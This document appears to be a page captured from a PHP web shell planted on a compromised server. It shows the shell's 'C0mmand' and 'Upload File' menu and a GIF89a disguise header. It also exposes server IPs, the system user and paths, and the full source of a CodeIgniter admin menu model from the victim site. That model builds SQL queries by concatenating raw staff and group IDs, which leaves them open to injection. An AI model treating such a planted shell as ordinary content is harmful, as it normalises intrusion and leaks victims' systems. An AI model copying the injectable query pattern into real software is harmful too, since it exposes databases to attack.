GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.116.90.161
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/MenuManagement.php
<?php

/**
 * Model For Handling All DB Operations Related To Menus (Operation Groups)/Sub-menus (Operations)
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class MenuManagement extends CI_Model {

    function createNewOperationGroup($newOperationGroupInfo) {
        $this->db->insert('tbl_operation_group_new', $newOperationGroupInfo);
        return $this->db->insert_id();
    }

    function getAllOperationGroups() {
        $this->db->select("TOG.group_id,TOG.group_name,TOG.group_title,TOG.group_tooltip,TOG.group_icon,"
                . "TOG.group_slug_url,TOG.group_delete_status,TOG.group_active_status,"
                . "TOG.group_added_by,TOG.group_added_on,TOG.group_updated_by,TOG.group_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_operation_group_new TOG');
        $this->db->join('tbl_staff_members TSMA', 'TOG.group_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TOG.group_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TOG.group_updated_on", "desc");
        return $this->db->get();
    }

    function getNonDeletedOperationGroups() {
        $this->db->select('*');
        $this->db->from('tbl_operation_group_new');
        $this->db->where('group_delete_status', "F");
        return $this->db->get();
    }

    function getNonDeletedActiveOperationGroups() {
        $this->db->select('*');
        $this->db->from('tbl_operation_group_new');
        $this->db->where('group_active_status', "T");
        $this->db->where('group_delete_status', "F");
        $this->db->order_by("group_name", "ASC");
        return $this->db->get();
    }

    function getOperationGroupInfoBy($group_id) {
        $this->db->select('*');
        $this->db->from('tbl_operation_group_new');
        $this->db->where('group_id', $group_id);
        return $this->db->get();
    }

    function getOperationGroupByName($group_name) {
        $this->db->select('*');
        $this->db->from('tbl_operation_group_new');
        $this->db->where('group_name', $group_name);
        return $this->db->get();
    }

    function isOperationGroupNameSafeUpdate($group_id, $group_name) {
        $this->db->select("*");
        $this->db->from('tbl_operation_group_new');
        $this->db->where('group_name', $group_name);
        $this->db->where('group_id != ' . $group_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function getAllAssignedMainMenusByStaffMemeberId($smemberId) {
        $sql = "SELECT DISTINCT(TOG.group_name)main_menu_name,TUGF.ugfiles, TUGF.oprtn_id,TUGF.group_id,TOG.group_title,"
                . "TOG.group_tooltip,TOG.group_icon,TOG.group_slug_url FROM tbl_user_group_files TUGF, tbl_operation_group_new TOG WHERE "
                . "TUGF.smember_id = " . $smemberId . " AND TUGF.group_id = TOG.group_id AND TOG.group_active_status = 'T' "
                . "AND TOG.group_delete_status = 'F' GROUP BY TOG.group_name ORDER BY TOG.group_name ASC";
        return $this->db->query($sql);
    }

    function updateOperationGroupInfo(array $operationGroupUpdatedInfo) {
        $this->db->where('group_id', $operationGroupUpdatedInfo['group_id']);
        return $this->db->update('tbl_operation_group_new', $operationGroupUpdatedInfo);
    }

    /* Functions For Operations */

    function createNewOperation($newOperationInfo) {
        $this->db->insert('tbl_operations_new', $newOperationInfo);
        return $this->db->insert_id();
    }

    function getAllOperations() {
        $this->db->select("TOP.oprtn_id,TOP.oprtn_name,TOP.oprtn_title,TOP.oprtn_tooltip,TOP.oprtn_slug_url,TOP.oprtn_active_status,"
                . "TOP.oprtn_delete_status,TOP.oprtn_added_on,TOP.oprtn_updated_on,TOP.oprtn_hidden_status,"
                . "TOP.oprtn_added_by,TOP.oprtn_updated_by,TOG.group_name,TOG.group_icon,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('tbl_operations_new TOP');
        $this->db->join('tbl_operation_group_new TOG', 'TOP.group_id = TOG.group_id');
        $this->db->join('tbl_staff_members TSMA', 'TOP.oprtn_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TOP.oprtn_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TOP.oprtn_updated_on", "desc");
        return $this->db->get();
    }

    function getAllActiveNonDeletedOperationsUnderGroup($group_id) {
        $this->db->select('*');
        $this->db->from('tbl_operations_new');
        $this->db->where('oprtn_active_status', "T");
        $this->db->where('oprtn_delete_status', "F");
        $this->db->where('group_id', $group_id);
        $this->db->order_by("oprtn_name", "ASC");
        return $this->db->get();
    }

    function getOperationInfoBy($oprtn_id) {
        $this->db->select('*');
        $this->db->from('tbl_operations_new');
        $this->db->where('oprtn_id', $oprtn_id);
        return $this->db->get();
    }

    function getOperationByName($oprtn_name) {
        $this->db->select('*');
        $this->db->from('tbl_operations_new');
        $this->db->where('oprtn_name', $oprtn_name);
        return $this->db->get();
    }

    function isOperationNameSafeUpdate($oprtn_id, $oprtn_name) {
        $this->db->select("*");
        $this->db->from('tbl_operations_new');
        $this->db->where('oprtn_name', $oprtn_name);
        $this->db->where('oprtn_id != ' . $oprtn_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function getAllAssignedSubMenusBy($group_id, $smemberId) {
        $sql = "SELECT TOP.oprtn_id, TOP.oprtn_name, TOP.oprtn_title, TOP.oprtn_tooltip, TOP.oprtn_slug_url, "
                . "TOP.oprtn_hidden_status FROM tbl_operations_new TOP, tbl_user_group_files TUGF WHERE TOP.oprtn_id = TUGF.oprtn_id "
                . "AND TOP.group_id = " . $group_id . " AND TUGF.smember_id = " . $smemberId . " AND TOP.oprtn_active_status = 'T' "
                . "AND TOP.oprtn_delete_status = 'F' ORDER BY TOP.oprtn_name ASC";
        return $this->db->query($sql);
    }

    function updateOperationInfo(array $operationUpdatedInfo) {
        $this->db->where('oprtn_id', $operationUpdatedInfo['oprtn_id']);
        return $this->db->update('tbl_operations_new', $operationUpdatedInfo);
    }

    /* Functions For Operations */

    /* Function For User Group Files */

    function isOperationGroupAssigned($group_id, $smember_id) {
        $this->db->select("*");
        $this->db->from('tbl_user_group_files');
        $this->db->where('group_id', $group_id);
        $this->db->where('smember_id', $smember_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return true;
        } else {
            return false;
        }
    }

    function isOperationAssigned($oprtn_id, $smember_id) {
        $this->db->select("*");
        $this->db->from('tbl_user_group_files');
        $this->db->where('oprtn_id', $oprtn_id);
        $this->db->where('smember_id', $smember_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return true;
        } else {
            return false;
        }
    }
    
    function createNewUserGroupFilesRecordsMulti(array $newUserGroupFilesRecordsBatch) {
        $this->db->insert_batch('tbl_user_group_files', $newUserGroupFilesRecordsBatch);
        return $this->db->insert_id();
    }
    
    function deleteUserGroupFilesRecordsBy($smemberId) {
        $this->db->where("smember_id", $smemberId);
        $this->db->delete("tbl_user_group_files");
    }

    /* Function For User Group Files */
}

KBHT - 2023